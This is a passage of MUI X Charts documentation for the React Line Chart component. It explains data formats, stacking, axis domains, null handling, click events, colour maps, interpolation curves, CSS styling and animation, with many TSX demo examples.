        experimentalFeatures={{ preferStrictDomainInLineCharts: true }}
        dataset={usaUnemploymentAndGdp}
        series={[
          {
            type: 'line',
            id: 'unemployment',
            dataKey: 'unemploymentRate',
            label: 'Unemployment rate',
            color: '#af3838',
            showMark: false,
            yAxisId: 'unemployment-axis',
            valueFormatter: (value) => (value == null ? '' : `${value.toFixed(1)}%`),
          },
          {
            type: 'line',
            dataKey: 'gdpPerCapita',
            label: 'GDP per capita',
            color: '#4caf50',
            showMark: false,
            yAxisId: 'gdp-axis',
            connectNulls: true,
            valueFormatter: (value) =>
              value == null ? '' : `${(value / 1000).toFixed(1)}k`,
          },
        ]}
        xAxis={[
          {
            scaleType: 'time',
            dataKey: 'date',
            tickNumber: 4,
            valueFormatter: (date, context) => {
              if (context.location !== 'tick') {
                return date.toLocaleDateString('en-US', {
                  year: 'numeric',
                  month: 'short',
                });
              }
              return date.getMonth() === 0
                ? date.toLocaleDateString('en-US', {
                    year: 'numeric',
                  })
                : date.toLocaleDateString('en-US', {
                    month: 'short',
                  });
            },
            zoom: {
              slider: { enabled: true },
            },
          },
        ]}
        yAxis={[
          {
            id: 'unemployment-axis',
            scaleType: 'linear',
            valueFormatter: (value) => `${value}%`,
            width: 55,
            position: 'left',
          },
          {
            id: 'gdp-axis',
            scaleType: 'linear',
            width: 50,
            position: 'right',
            valueFormatter: (value) => `${(value / 1000).toLocaleString()}k`,
          },
        ]}
      >
        <Box sx={{ display: 'flex', justifyContent: 'center', mt: 1 }}>
          <ChartsLegend />
        </Box>
        <ChartsSurface>
          <ChartsClipPath id={clipPathId} />
          <RecessionBands periods={recessions} />
          <ChartsGrid horizontal />
          <g clipPath={`url(#${clipPathId})`}>
            <LinePlot />
          </g>
          <ChartsXAxis />
          <ChartsYAxis axisId="unemployment-axis" label="Unemployment Rate" />
          <ChartsYAxis axisId="gdp-axis" label="GDP per capita in US$" />
          <ChartsAxisHighlight x="line" />
          <ChartZoomSlider />
        </ChartsSurface>
        <ChartsTooltip />
      </ChartDataProviderPro>

      <Typography
        variant="caption"
        component="p"
        color="text.secondary"
        textAlign="left"
        sx={{ pt: 1 }}
      >
        Source: FRED
      </Typography>
    </Box>
  );
}

```

## Basics

### Data format

Line charts series should contain a `data` property containing an array of numbers.
This `data` array corresponds to y-values.

You can specify x-values with the `xAxis` prop.
This axis can have any `scaleType` and its `data` should have the same length as your series.

By default, those y-values will be associated with integers starting from 0 (0, 1, 2, 3, ...).

```tsx
import { LineChart } from '@mui/x-charts/LineChart';

export default function BasicLineChart() {
  return (
    <LineChart
      xAxis={[{ data: [1, 2, 3, 5, 8, 10] }]}
      series={[
        {
          data: [2, 5.5, 2, 8.5, 1.5, 5],
        },
      ]}
      height={300}
    />
  );
}

```

### Using a dataset

If your data is stored in an array of objects, you can use the `dataset` helper prop.
It accepts an array of objects such as `dataset={[{x: 1, y: 32}, {x: 2, y: 41}, ...]}`.

You can reuse this data when defining the series and axis, thanks to the `dataKey` property.

For example `xAxis={[{ dataKey: 'x'}]}` or `series={[{ dataKey: 'y'}]}`.

Here is a plot of the evolution of world electricity production by source.

```tsx
import { LineChart } from '@mui/x-charts/LineChart';
import {
  worldElectricityProduction,
  keyToLabel,
  colors,
} from '../dataset/worldElectricityProduction';

const stackStrategy = {
  stack: 'total',
  area: true,
  stackOffset: 'none', // To stack 0 on top of others
} as const;

const customize = {
  height: 350,
  hideLegend: true,
  experimentalFeatures: { preferStrictDomainInLineCharts: true },
};

export default function LineDataset() {
  return (
    <LineChart
      xAxis={[
        { dataKey: 'year', valueFormatter: (value: number) => value.toString() },
      ]}
      yAxis={[{ width: 50 }]}
      series={Object.keys(keyToLabel).map((key) => ({
        dataKey: key,
        label: keyToLabel[key],
        color: colors[key],
        showMark: false,
        ...stackStrategy,
      }))}
      dataset={worldElectricityProduction}
      {...customize}
    />
  );
}

```

### Area

You can fill the area of the line by setting the series' `area` property to `true`.

```tsx
import { LineChart } from '@mui/x-charts/LineChart';

export default function BasicArea() {
  return (
    <LineChart
      xAxis={[{ data: [1, 2, 3, 5, 8, 10] }]}
      series={[
        {
          data: [2, 5.5, 2, 8.5, 1.5, 5],
          area: true,
        },
      ]}
      height={300}
    />
  );
}

```

### Log scale

A y-axis with a log scale cannot plot a line that crosses zero nor an area chart because the logarithm of zero is undefined.

You can work around this limitation by using a [symlog scale](/x/react-charts/axis/#symlog-scale).

### Stacking

Each line series can get a `stack` property which expects a string value.
Series with the same `stack` will be stacked on top of each other.

You can use the `stackOffset` and `stackOrder` properties to define how the series will be stacked.
By default, they are stacked in the order you defined them, with positive values stacked above 0 and negative values stacked below 0.

For more information, see [stacking docs](/x/react-charts/stacking/).

```tsx
import { LineChart } from '@mui/x-charts/LineChart';
import { dataset } from '../dataset/gdpPerCapitaEvolution';

export default function StackedAreas() {
  return (
    <div style={{ width: '100%' }}>
      <LineChart
        dataset={dataset}
        xAxis={[
          {
            id: 'Years',
            dataKey: 'date',
            scaleType: 'time',
            valueFormatter: (date) => date.getFullYear().toString(),
          },
        ]}
        yAxis={[{ width: 70 }]}
        series={[
          {
            id: 'France',
            label: 'French GDP per capita',
            dataKey: 'fr',
            stack: 'total',
            area: true,
            showMark: false,
          },
          {
            id: 'Germany',
            label: 'German GDP per capita',
            dataKey: 'dl',
            stack: 'total',
            area: true,
            showMark: false,
          },
          {
            id: 'United Kingdom',
            label: 'UK GDP per capita',
            dataKey: 'gb',
            stack: 'total',
            area: true,
            showMark: false,
          },
        ]}
        experimentalFeatures={{ preferStrictDomainInLineCharts: true }}
        height={300}
      />
    </div>
  );
}

```

### Axis domain

By default, axes round their limits to match human-readable values.
For example, if your data ranges from 2 to 195, the axis displays values from 0 to 200.
This behavior can be modified by the [axis property `domainLimit`](/x/react-charts/axis/#relative-axis-subdomain).

:::info
The current default behavior can lead to empty space on left/right of the line chart.
To fix that issue, future major version will default the x-axis domain limit to `'strict'`.

To test this behavior, add the `experimentalFeatures` prop to your chart with `preferStrictDomainInLineCharts: true` value.
You can also enable it globally using [theme default props](/material-ui/customization/theme-components/#theme-default-props)

```js
components: {
  MuiChartDataProvider: {
    defaultProps: {
       experimentalFeatures: { preferStrictDomainInLineCharts: true }
    },
  },
}
```

:::

```tsx
import * as React from 'react';
import Stack from '@mui/material/Stack';
import FormControlLabel from '@mui/material/FormControlLabel';
import Checkbox from '@mui/material/Checkbox';
import { LineChart } from '@mui/x-charts/LineChart';
import { dataset } from '../dataset/gdpPerCapitaEvolution';

export default function LineDefaultDomainLimit() {
  const [preferStrictDomainInLineCharts, setPreferStrictDomainInLineCharts] =
    React.useState(false);

  return (
    <Stack alignItems="center">
      <FormControlLabel
        checked={preferStrictDomainInLineCharts}
        control={
          <Checkbox
            onChange={(event) =>
              setPreferStrictDomainInLineCharts(event.target.checked)
            }
          />
        }
        label="Strict domain limit"
        labelPlacement="end"
      />

      <div style={{ width: '100%', maxWidth: 450 }}>
        <LineChart
          dataset={dataset.slice(2, dataset.length)}
          experimentalFeatures={{ preferStrictDomainInLineCharts }}
          xAxis={[
            {
              id: 'Years',
              dataKey: 'date',
              scaleType: 'time',
              valueFormatter: (date) => date.getFullYear().toString(),
            },
          ]}
          yAxis={[{ width: 70 }]}
          series={[
            {
              id: 'France',
              label: 'French GDP per capita',
              dataKey: 'fr',
              stack: 'total',
              area: true,
              showMark: false,
            },
            {
              id: 'Germany',
              label: 'German GDP per capita',
              dataKey: 'dl',
              stack: 'total',
              area: true,
              showMark: false,
            },
            {
              id: 'United Kingdom',
              label: 'UK GDP per capita',
              dataKey: 'gb',
              stack: 'total',
              area: true,
              showMark: false,
            },
          ]}
          height={300}
        />
      </div>
    </Stack>
  );
}

```

## Partial data

### Skip missing points

Line series can have fewer data points than the axis.
You can handle lines with partial data or data starting at different points by providing `null` values.

By default, the tooltip does not show series if they have no value.
To override this behavior, use the `valueFormatter` to return a string if the value is `null` or `undefined`.

```tsx
import { LineChart } from '@mui/x-charts/LineChart';

export default function DifferentLength() {
  return (
    <LineChart
      xAxis={[{ data: [1, 2, 3, 5, 8, 10, 12, 15, 16] }]}
      series={[
        {
          data: [2, 5.5, 2, 8.5, 1.5, 5],
          valueFormatter: (value) => (value == null ? 'NaN' : value.toString()),
        },
        {
          data: [null, null, null, null, 5.5, 2, 8.5, 1.5, 5],
        },
        {
          data: [7, 8, 5, 4, null, null, 2, 5.5, 1],
          valueFormatter: (value) => (value == null ? '?' : value.toString()),
        },
      ]}
      height={200}
      margin={{ bottom: 10 }}
    />
  );
}

```

:::info
When series data length is smaller than the axis one, overflowing values are `undefined` and not `null`.

The following code plots a line for x between 2 and 4.

- For x<2, values are set to `null` and then not shown.
- For x>4, values are set to `undefined` and then not shown.

```jsx
<LineChart
  series={[{ data: [null, null, 10, 11, 12] }]}
  xAxis={[{ data: [0, 1, 2, 3, 4, 5, 6] }]}
/>
```

:::

### Connect missing points

Line series accepts a `connectNulls` property which will continue the interpolation across points with a `null` value.
This property can link two sets of points, with `null` data between them.
However, it cannot extrapolate the curve before the first non-null data point or after the last one.

```tsx
import * as React from 'react';
import Stack from '@mui/material/Stack';
import FormControlLabel from '@mui/material/FormControlLabel';
import Checkbox from '@mui/material/Checkbox';
import { LineChart } from '@mui/x-charts/LineChart';

export default function ConnectNulls() {
  const [connectNulls, setConnectNulls] = React.useState(true);

  return (
    <Stack sx={{ width: '100%' }}>
      <FormControlLabel
        checked={connectNulls}
        control={
          <Checkbox onChange={(event) => setConnectNulls(event.target.checked)} />
        }
        label="connectNulls"
        labelPlacement="end"
      />
      <LineChart
        xAxis={[{ data: [1, 2, 3, 5, 8, 10, 12, 15, 16, 18, 20] }]}
        series={[
          {
            data: [2, 5, 6.5, 3, 8, 10, 9.5, 2.5, 6, 10, 8],
          },
          {
            data: [null, null, 5.5, 2, null, null, 8.5, 1.5, 5],
            connectNulls,
            area: true,
          },
        ]}
        height={200}
        margin={{ bottom: 10 }}
        skipAnimation
      />
    </Stack>
  );
}

```

## Click event

Line charts provides multiple click handlers:

- `onAreaClick` for click on a specific area.
- `onLineClick` for click on a specific line.
- `onMarkClick` for click on a specific mark.
- `onAxisClick` for a click anywhere in the chart

They all provide the following signature.

```js
const clickHandler = (
  event, // The mouse event.
  params, // An object that identifies the clicked elements.
) => {};
```

```tsx
import * as React from 'react';
import Stack from '@mui/material/Stack';
import Box from '@mui/material/Box';
import Typography from '@mui/material/Typography';
import IconButton from '@mui/material/IconButton';
import UndoOutlinedIcon from '@mui/icons-material/UndoOutlined';

import { LineChart } from '@mui/x-charts/LineChart';

import { HighlightedCode } from '@mui/docs/HighlightedCode';
import { ChartsAxisData, LineItemIdentifier } from '@mui/x-charts/models';

const lineChartsParams = {
  series: [
    {
      id: 'series-1',
      data: [3, 4, 1, 6, 5],
      label: 'A',
      area: true,
      stack: 'total',
      highlightScope: {
        highlight: 'item',
      },
    },
    {
      id: 'series-2',
      data: [4, 3, 1, 5, 8],
      label: 'B',
      area: true,
      stack: 'total',
      highlightScope: {
        highlight: 'item',
      },
    },
    {
      id: 'series-3',
      data: [4, 2, 5, 4, 1],
      label: 'C',
      area: true,
      stack: 'total',
      highlightScope: {
        highlight: 'item',
      },
    },
  ],
  xAxis: [{ data: [0, 3, 6, 9, 12], scaleType: 'linear', id: 'axis1' }],
  height: 400,
} as const;

export default function LineClick() {
  const [itemData, setItemData] = React.useState<LineItemIdentifier>();
  const [axisData, setAxisData] = React.useState<ChartsAxisData | null>();

  return (
    <Stack
      direction={{ xs: 'column', md: 'row' }}
      spacing={{ xs: 0, md: 4 }}
      sx={{ width: '100%' }}
    >
      <Box sx={{ flexGrow: 1 }}>
        <LineChart
          {...lineChartsParams}
          onAreaClick={(event, d) => setItemData(d)}
          onMarkClick={(event, d) => setItemData(d)}
          onLineClick={(event, d) => setItemData(d)}
          onAxisClick={(event, d) => setAxisData(d)}
        />
      </Box>

      <Stack direction="column" sx={{ width: { xs: '100%', md: '40%' } }}>
        <Box
          sx={{
            display: 'flex',
            justifyContent: 'space-between',
            alignItems: 'center',
          }}
        >
          <Typography>Click on the chart</Typography>
          <IconButton
            aria-label="reset"
            size="small"
            onClick={() => {
              setItemData(undefined);
              setAxisData(null);
            }}
          >
            <UndoOutlinedIcon fontSize="small" />
          </IconButton>
        </Box>
        <HighlightedCode
          code={`// Data from item click
${itemData ? JSON.stringify(itemData, null, 2) : '// The data will appear here'}

// Data from axis click
${axisData ? JSON.stringify(axisData, null, 2) : '// The data will appear here'}
`}
          language="json"
          copyButtonHidden
        />
      </Stack>
    </Stack>
  );
}

```

:::info
There is a slight difference between the `event` of `onAxisClick` and the others:

- For `onAxisClick` it's a native mouse event emitted by the svg component.
- For others, it's a React synthetic mouse event emitted by the area, line, or mark component.

:::

### Composition

If you're using composition, you can get those click events as follows.
Notice that the `onAxisClick` will handle both bar and line series if you mix them.

```jsx
<ChartContainer onAxisClick={onAxisClick}>
  {/* ... */}
  <LinePlot onItemClick={onLineClick} />
  <AreaPlot onItemClick={onAreaClick} />
</ChartContainer>
```

## Styling

### Grid

You can add a grid in the background of the chart with the `grid` prop.

See [Axis—Grid](/x/react-charts/axis/#grid) documentation for more information.

```tsx
import { LineChart } from '@mui/x-charts/LineChart';
import { XAxis } from '@mui/x-charts/models';
import {
  dateAxisFormatter,
  percentageFormatter,
  usUnemploymentRate,
} from '../dataset/usUnemploymentRate';

const xAxis: XAxis<'time'>[] = [
  {
    dataKey: 'date',
    scaleType: 'time',
    valueFormatter: dateAxisFormatter,
  },
];
const yAxis = [
  {
    valueFormatter: percentageFormatter,
  },
];
const series = [
  {
    dataKey: 'rate',
    showMark: false,
    valueFormatter: percentageFormatter,
  },
];
export default function GridDemo() {
  return (
    <LineChart
      dataset={usUnemploymentRate}
      xAxis={xAxis}
      yAxis={yAxis}
      series={series}
      height={300}
      grid={{ vertical: true, horizontal: true }}
    />
  );
}

```

### Color scale

As with other charts, you can modify the [series color](/x/react-charts/styling/#colors) either directly, or with the color palette.

You can also modify the color by using axes `colorMap` which maps values to colors.
The line charts use by priority:

1. The y-axis color
2. The x-axis color
3. The series color

Learn more about the `colorMap` properties in the [Styling docs](/x/react-charts/styling/#values-color).

```tsx
import * as React from 'react';
import { LineChart } from '@mui/x-charts/LineChart';
import Stack from '@mui/material/Stack';
import TextField from '@mui/material/TextField';
import MenuItem from '@mui/material/MenuItem';
import { HighlightedCode } from '@mui/docs/HighlightedCode';
import FormControlLabel from '@mui/material/FormControlLabel';
import Checkbox from '@mui/material/Checkbox';

export default function ColorScale() {
  const [colorX, setColorX] = React.useState<
    'None' | 'piecewise' | 'continuous' | 'ordinal'
  >('None');
  const [colorY, setColorY] = React.useState<'None' | 'piecewise' | 'continuous'>(
    'piecewise',
  );
  const [colorArea, setColorArea] = React.useState(true);

  return (
    <Stack direction="column" spacing={1} sx={{ width: '100%', maxWidth: 600 }}>
      <Stack direction="row" spacing={1} flexWrap="wrap">
        <TextField
          select
          sx={{ minWidth: 150 }}
          label="x-axis colorMap"
          value={colorX}
          onChange={(event) =>
            setColorX(event.target.value as 'None' | 'piecewise' | 'continuous')
          }
        >
          <MenuItem value="None">None</MenuItem>
          <MenuItem value="piecewise">piecewise</MenuItem>
          <MenuItem value="continuous">continuous</MenuItem>
        </TextField>
        <TextField
          select
          sx={{ minWidth: 150 }}
          label="y-axis colorMap"
          value={colorY}
          onChange={(event) =>
            setColorY(event.target.value as 'None' | 'piecewise' | 'continuous')
          }
        >
          <MenuItem value="None">None</MenuItem>
          <MenuItem value="piecewise">piecewise</MenuItem>
          <MenuItem value="continuous">continuous</MenuItem>
        </TextField>
        <FormControlLabel
          checked={colorArea}
          control={
            <Checkbox onChange={(event) => setColorArea(event.target.checked)} />
          }
          label="Show chart area"
          labelPlacement="end"
        />
      </Stack>

      <LineChart
        height={300}
        grid={{ horizontal: true }}
        series={[
          {
            data: [-2, -9, 12, 11, 6, -4],
            area: colorArea,
          },
        ]}
        yAxis={[
          {
            colorMap:
              (colorY === 'continuous' && {
                type: 'continuous',
                min: -10,
                max: 10,
                color: ['red', 'green'],
              }) ||
              (colorY === 'piecewise' && {
                type: 'piecewise',
                thresholds: [0, 10],
                colors: ['red', 'green', 'blue'],
              }) ||
              undefined,
          },
        ]}
        xAxis={[
          {
            scaleType: 'time',
            data: [
              new Date(2019, 0, 1),
              new Date(2020, 0, 1),
              new Date(2021, 0, 1),
              new Date(2022, 0, 1),
              new Date(2023, 0, 1),
              new Date(2024, 0, 1),
            ],
            valueFormatter: (value) => value.getFullYear().toString(),
            colorMap:
              (colorX === 'continuous' && {
                type: 'continuous',
                min: new Date(2019, 1, 1),
                max: new Date(2024, 1, 1),
                color: ['green', 'orange'],
              }) ||
              (colorX === 'piecewise' && {
                type: 'piecewise',
                thresholds: [new Date(2021, 1, 1), new Date(2023, 1, 1)],
                colors: ['blue', 'red', 'blue'],
              }) ||
              undefined,
          },
        ]}
      />
      <HighlightedCode
        code={[
          `<LineChart`,
          '  /* ... */',
          `  series={[{data: [-2, -9, 12, 11, 6, -4], area: ${colorArea}}]}`,
          // ColorX
          ...(colorX === 'None' ? ['  xAxis={[{}]}'] : []),
          ...(colorX === 'continuous'
            ? [
                '  xAxis={[{',
                `    colorMap: {`,
                `      type: 'continuous',`,
                `      min: new Date(2019, 1, 1),`,
                `      max: new Date(2024, 1, 1),`,
                `      color: ['green', 'orange']`,
                `    }`,
                '  }]}',
              ]
            : []),
          ...(colorX === 'piecewise'
            ? [
                '  xAxis={[{',
                `    colorMap: {`,
                `      type: 'piecewise',`,
                `      thresholds: [new Date(2021, 1, 1), new Date(2023, 1, 1)],`,
                `      colors: ['blue', 'red', 'blue'],`,
                `    }`,
                '  }]}',
              ]
            : []),

          // ColorY
          ...(colorY === 'None' ? ['  yAxis={[{}]}'] : []),
          ...(colorY === 'continuous'
            ? [
                '  yAxis={[{',
                `    colorMap: {`,
                `      type: 'continuous',`,
                `      min: -10,`,
                `      max: 10,`,
                `      color: ['red', 'green'],`,
                `    }`,
                '  }]}',
              ]
            : []),
          ...(colorY === 'piecewise'
            ? [
                '  yAxis={[{',
                `    colorMap: {`,
                `      type: 'piecewise',`,
                `      thresholds: [0, 10],`,
                `      colors: ['red', 'green', 'blue'],`,
                `    }`,
                '  }]}',
              ]
            : []),
          `/>`,
        ].join('\n')}
        language="jsx"
        copyButtonHidden
      />
    </Stack>
  );
}

```

:::warning
For now, ordinal config is not supported for line chart.
:::

### Interpolation

The interpolation between data points can be customized by the `curve` property.
This property expects one of the following string values, corresponding to the interpolation method: `'catmullRom'`, `'linear'`, `'monotoneX'`, `'monotoneY'`, `'natural'`, `'step'`, `'stepBefore'`, `'stepAfter'`, `'bumpX'` and `'bumpY'`.

This series property adds the option to control the interpolation of a series.
Different series could even have different interpolations.

```tsx
import * as React from 'react';
import Box from '@mui/material/Box';
import TextField from '@mui/material/TextField';
import MenuItem from '@mui/material/MenuItem';
import { LineChart } from '@mui/x-charts/LineChart';

import { HighlightedCode } from '@mui/docs/HighlightedCode';
import { CurveType } from '@mui/x-charts/models';

const curveTypes: CurveType[] = [
  'linear',
  'catmullRom',
  'monotoneX',
  'monotoneY',
  'natural',
  'step',
  'stepBefore',
  'stepAfter',
  'bumpX',
  'bumpY',
];

function getExample(curveType: CurveType) {
  return `<LineChart
  series={[
    { curve: "${curveType}", data: [1, 5, 2, 6, 3, 9.3] },
    { curve: "${curveType}", data: [6, 3, 7, 9.5, 4, 2] },
  ]}
  {/* ... */}
/>`;
}

export default function InterpolationDemo() {
  const [curveType, setCurveType] = React.useState(curveTypes[0]);

  return (
    <Box sx={{ p: 2, width: 1, maxWidth: 600 }}>
      <TextField
        select
        label="interpolation method"
        value={curveType}
        sx={{ minWidth: 200, mb: 2 }}
        onChange={(event) => setCurveType(event.target.value as CurveType)}
      >
        {curveTypes.map((curve) => (
          <MenuItem key={curve} value={curve}>
            {curve}
          </MenuItem>
        ))}
      </TextField>
      <LineChart
        xAxis={[{ data: [1, 3, 5, 6, 7, 9], min: 0, max: 10 }]}
        series={[
          { curve: curveType, data: [1, 5, 2, 6, 3, 9.3] },
          { curve: curveType, data: [6, 3, 7, 9.5, 4, 2] },
        ]}
        height={300}
        skipAnimation
      />
      <HighlightedCode code={getExample(curveType)} language="tsx" />
    </Box>
  );
}

```

#### Expanding steps

To simplify the composition of line and chart, the step interpolations (when `curve` property is `'step'`, `'stepBefore'`, or `'stepAfter'`) expand to cover the full band width.

You can disable this behavior with `strictStepCurve` series property.

```tsx
import * as React from 'react';
import Stack from '@mui/material/Stack';
import FormControlLabel from '@mui/material/FormControlLabel';
import Checkbox from '@mui/material/Checkbox';
import TextField from '@mui/material/TextField';
import MenuItem from '@mui/material/MenuItem';
import { LinePlot, MarkPlot } from '@mui/x-charts/LineChart';
import { ChartContainer } from '@mui/x-charts/ChartContainer';
import { ChartsXAxis } from '@mui/x-charts/ChartsXAxis';
import { ChartsYAxis } from '@mui/x-charts/ChartsYAxis';
import { BarPlot } from '@mui/x-charts/BarChart';
import { ChartsAxisHighlight } from '@mui/x-charts/ChartsAxisHighlight';

const weekDay = ['Mon', 'Tue', 'Wed', 'Thu', 'Fri', 'Sat', 'Sun'];
const stepCurves = ['step', 'stepBefore', 'stepAfter'];
type StepCurve = 'step' | 'stepBefore' | 'stepAfter';

export default function ExpandingStep() {
  const [strictStepCurve, setStrictStepCurve] = React.useState(false);
  const [connectNulls, setConnectNulls] = React.useState(false);
  const [curve, setCurve] = React.useState<StepCurve>('step');

  return (
    <Stack sx={{ width: '100%' }}>
      <Stack direction="row" justifyContent="space-between">
        <Stack>
          <FormControlLabel
            checked={connectNulls}
            control={
              <Checkbox
                onChange={(event) => setConnectNulls(event.target.checked)}
              />
            }
            label="connectNulls"
            labelPlacement="end"
          />
          <FormControlLabel
            checked={strictStepCurve}
            control={
              <Checkbox
                onChange={(event) => setStrictStepCurve(event.target.checked)}
              />
            }
            label="strictStepCurve"
            labelPlacement="end"
          />
        </Stack>
        <TextField
          select
          label="curve"
          value={curve}
          sx={{ minWidth: 100, mb: 2 }}
          onChange={(event) => setCurve(event.target.value as StepCurve)}
        >
          {stepCurves.map((curveType) => (
            <MenuItem key={curveType} value={curveType}>
              {curveType}
            </MenuItem>
          ))}
        </TextField>
      </Stack>

      <ChartContainer
        xAxis={[{ scaleType: 'band', data: weekDay }]}
        series={[
          {
            type: 'line',
            curve,
            connectNulls,
            strictStepCurve,
            data: [5, 10, 16, 9, null, 6],
            showMark: true,
            color: 'blue',
          },
          {
            type: 'line',
            curve,
            connectNulls,
            strictStepCurve,
            data: [null, 15, 9, 6, 8, 3, 10],
            showMark: true,
            color: 'red',
          },
          {
            data: [1, 2, 3, 4, 3, 2, 1],
            type: 'bar',
          },
        ]}
        height={250}
        margin={{ bottom: 10 }}
        skipAnimation
      >
        <ChartsAxisHighlight x="band" />
        <BarPlot />
        <LinePlot />
        <MarkPlot />
        <ChartsXAxis />
        <ChartsYAxis />
      </ChartContainer>
    </Stack>
  );
}

```

### Baseline

The area chart draws a `baseline` on the Y axis `0`.
This is useful as a base value, but customized visualizations may require a different baseline.

To get the area filling the space above or below the line, set `baseline` to `"min"` or `"max"`.
It is also possible to provide a `number` value to fix the baseline at the desired position.

:::warning
The `baseline` should not be used with stacked areas, as it will not work as expected.
:::

```tsx
import { LineChart } from '@mui/x-charts/LineChart';

export default function AreaBaseline() {
  return (
    <LineChart
      xAxis={[{ data: [1, 2, 3, 5, 8, 10] }]}
      series={[
        {
          data: [2, -5.5, 2, -7.5, 1.5, 6],
          area: true,
          baseline: 'min',
        },
      ]}
      height={300}
    />
  );
}

```

### Optimization

To show mark elements, use `showMark` series property.
It accepts a boolean or a callback.
The next example shows how to use it to display only one mark every two data points.

When a value is highlighted, a mark is rendered for that given value.
If the charts already have some marks (due to `showMark=true`) the highlight one will be on top of others.

This behavior can be removed with the `disableHighlight` series property or at the root of the line chart with a `disableLineItemHighlight` prop.

In this example, you have one mark for every value with an even index.
The highlighted data has a mark regardless if it has an even or odd index.

```tsx
import { LineChart } from '@mui/x-charts/LineChart';

export default function MarkOptimization() {
  return (
    <LineChart
      xAxis={[{ data: [1, 2, 3, 4, 5, 6, 7, 8, 9, 10] }]}
      series={[
        {
          data: [2, 3, 5.5, 8.5, 1.5, 5, 1, 4, 3, 8],
          showMark: ({ index }) => index % 2 === 0,
        },
      ]}
      height={300}
    />
  );
}

```

### CSS

Line plots are made of three elements named `LineElement`, `AreaElement`, and `MarkElement`.
Each element can be selected with the CSS class name `.MuiLineElement-root`, `.MuiAreaElement-root`, or `.MuiMarkElement-root`.

If you want to select the element of a given series, you can use the `data-series` attribute.

In the next example, each line style is customized with dashes, and marks are removed.
The area of Germany's GDP also gets a custom gradient color.
The definition of `myGradient` is passed as a children of the chart component.

```jsx
<LineChart
  sx={{
    '& .MuiLineElement-root': {
      strokeDasharray: '10 5',
      strokeWidth: 4,
    },
    '& .MuiAreaElement-root[data-series="Germany"]': {
      fill: "url('#myGradient')",
    },
  }}
/>
```

```tsx
import {
  areaElementClasses,
  LineChart,
  lineElementClasses,
} from '@mui/x-charts/LineChart';
import { dataset } from '../dataset/gdpPerCapitaEvolution';

export default function CSSCustomization() {
  return (
    <LineChart
      dataset={dataset}
      sx={{
        [`& .${lineElementClasses.root}`]: {
          strokeDasharray: '10 5',
          strokeWidth: 4,
        },
        [`& .${areaElementClasses.root}[data-series="Germany"]`]: {
          fill: "url('#myGradient')",
          filter: 'none', // Remove the default filtering
        },
      }}
      xAxis={[
        {
          id: 'Years',
          dataKey: 'date',
          scaleType: 'time',
          valueFormatter: (date) => date.getFullYear().toString(),
        },
      ]}
      yAxis={[
        {
          width: 60,
        },
      ]}
      series={[
        {
          id: 'France',
          label: 'France',
          dataKey: 'fr',
          stack: 'total',
          area: true,
          showMark: false,
        },
        {
          id: 'Germany',
          label: 'Germany',
          dataKey: 'dl',
          stack: 'total',
          area: true,
          showMark: false,
        },
        {
          id: 'United Kingdom',
          label: 'United Kingdom',
          dataKey: 'gb',
          stack: 'total',
          area: true,
          showMark: false,
        },
      ]}
      experimentalFeatures={{ preferStrictDomainInLineCharts: true }}
      height={300}
    >
      <defs>
        <linearGradient id="myGradient" gradientTransform="rotate(90)">
          <stop offset="5%" stopColor="gold" />
          <stop offset="95%" stopColor="red" />
        </linearGradient>
      </defs>
    </LineChart>
  );
}

```

## Animation

Chart containers respect [`prefers-reduced-motion`](https://developer.mozilla.org/en-US/docs/Web/CSS/Reference/At-rules/@media/prefers-reduced-motion), but you can also disable animations manually by setting the `skipAnimation` prop to `true`.

When `skipAnimation` is enabled, the chart renders without any animations.

:::warning
If you support interactive ways to add or remove series from your chart, you have to provide the series' id.

Otherwise the chart will have no way to know if you are modifying, removing, or adding some series.
This will lead to strange behaviors.
:::

```jsx
// For a single component chart
<LineChart skipAnimation />

// For a composed chart
<ChartContainer>
  <LinePlot skipAnimation />
  <AreaPlot skipAnimation />
</ChartContainer>
```

```tsx
import * as React from 'react';
import Button from '@mui/material/Button';
import Stack from '@mui/material/Stack';
import FormControlLabel from '@mui/material/FormControlLabel';
import Checkbox from '@mui/material/Checkbox';
import { LineChart } from '@mui/x-charts/LineChart';
import { mangoFusionPalette } from '@mui/x-charts/colorPalettes';

const defaultSeries = [
  { id: '1', data: [4, 5, 1, 2, 3, 3, 2], area: true, stack: '1' },
  { id: '2', data: [7, 4, 6, 7, 2, 3, 5], area: true, stack: '1' },
  { id: '3', data: [6, 4, 1, 2, 6, 3, 3], area: true, stack: '1' },
  { id: '4', data: [4, 7, 6, 1, 2, 7, 7], area: true, stack: '1' },
  { id: '5', data: [2, 2, 1, 7, 1, 5, 3], area: true, stack: '1' },
  { id: '6', data: [6, 6, 1, 6, 7, 1, 1], area: true, stack: '1' },
  { id: '7', data: [7, 6, 1, 6, 4, 4, 6], area: true, stack: '1' },
  { id: '8', data: [4, 3, 1, 6, 6, 3, 5], area: true, stack: '1' },
  { id: '9', data: [7, 6, 2, 7, 4, 2, 7], area: true, stack: '1' },
].map((item, index) => ({
  ...item,
  color: mangoFusionPalette('light')[index],
}));

export default function LineAnimation() {
  const [series, setSeries] = React.useState(defaultSeries);
  const [nbSeries, setNbSeries] = React.useState(3);
  const [skipAnimation, setSkipAnimation] = React.useState(false);

  return (
    <div
      style={{
        width: '100%',
        display: 'flex',
        flexDirection: 'column',
      }}
    >
      <div>
        <LineChart
          xAxis={[{ data: [1, 2, 3, 4, 5, 6, 7] }]}
          series={[
            ...series.slice(0, Math.min(nbSeries, 8)),
            ...series.slice(8, 10),
          ]}
          skipAnimation={skipAnimation}
          height={400}
        />
      </div>
      <Stack spacing={1} direction="row" flexWrap="wrap">
        <Button
          variant="outlined"
          onClick={() =>
            setSeries((prev) =>
              prev.map((item) => ({
                ...item,
                data: item.data.map((v) => Math.max(0.5, v - 4 + 8 * Math.random())),
              })),
            )
          }
        >
          randomize
        </Button>
        <Button
          variant="outlined"
          onClick={() => setNbSeries((prev) => prev - 1)}
          disabled={nbSeries === 0}
        >
          remove
        </Button>
        <Button
          variant="outlined"
          onClick={() => setNbSeries((prev) => prev + 1)}
          disabled={nbSeries === 8}
        >
          add
        </Button>
        <FormControlLabel
          checked={skipAnimation}
          control={
            <Checkbox onChange={(event) => setSkipAnimation(event.target.checked)} />
          }
          label="skipAnimation"
          labelPlacement="end"
        />
      </Stack>
    </div>
  );
}

```

## Composition

Use the `<ChartDataProvider />` to provide `series`, `xAxis`, and `yAxis` props for composition.

In addition to the common chart components available for [composition](/x/react-charts/composition/), you can use the following components:

- `<AreaPlot />` renders the series areas.
- `<LinePlot />` renders the series lines.
- `<MarkPlot />` renders the series marks.
- `<LineHighlightPlot />` renders larger mark dots on the highlighted values.

Here's how the Line Chart is composed:

```jsx
